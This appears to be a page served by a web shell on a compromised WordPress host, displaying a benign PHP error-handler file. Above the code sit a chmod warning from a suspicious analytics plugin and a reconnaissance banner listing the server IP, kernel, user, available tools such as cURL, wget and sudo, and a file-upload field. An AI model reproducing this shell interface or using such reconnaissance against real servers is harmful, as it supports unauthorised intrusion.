Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_books/_oldsite/inc/ |
Upload File : |
<?php
function __idp_error_handler($errno, $errstr, $errfile, $errline){
$errno = $errno & error_reporting();
if($errno == 0) return;
if(!defined('E_STRICT')) define('E_STRICT', 2048);
if(!defined('E_RECOVERABLE_ERROR')) define('E_RECOVERABLE_ERROR', 4096);
print "<pre>\n<b>";
switch($errno){
case E_ERROR: print 'Error'; break;
case E_WARNING: print 'Warning'; break;
case E_PARSE: print 'Parse Error'; break;
case E_NOTICE: print 'Notice'; break;
case E_CORE_ERROR: print 'Core Error'; break;
case E_CORE_WARNING: print 'Core Warning'; break;
case E_COMPILE_ERROR: print 'Compile Error'; break;
case E_COMPILE_WARNING: print 'Compile Warning'; break;
case E_USER_ERROR: print 'User Error'; break;
case E_USER_WARNING: print 'User Warning'; break;
case E_USER_NOTICE: print 'User Notice'; break;
case E_STRICT: print 'Strict Notice'; break;
case E_RECOVERABLE_ERROR: print 'Recoverable Error'; break;
default: print "Unknown error ($errno)"; break;
}
print ":</b> <i>$errstr</i> in <b>$errfile</b> on line <b>$errline</b>";
if(function_exists('debug_backtrace')){
//print "backtrace:\n";
$backtrace = debug_backtrace();
array_shift($backtrace);
foreach($backtrace as $i=>$l){
$class = isset($l['class']) ? $l['class'] : '';
$type = isset($l['type']) ? $l['type'] : '';
print "\n[$i] in function <b>$class$type{$l['function']}</b>";
if($l['file']) print " in <b>$l[file]</b>";
if($l['line']) print " on line <b>$l[line]</b>";
}
}
print "\n</pre>";
if(isset($GLOBALS['error_fatal'])){
if($GLOBALS['error_fatal'] & $errno) die('fatal');
}
}
$old_error_handler = set_error_handler('__idp_error_handler');
?>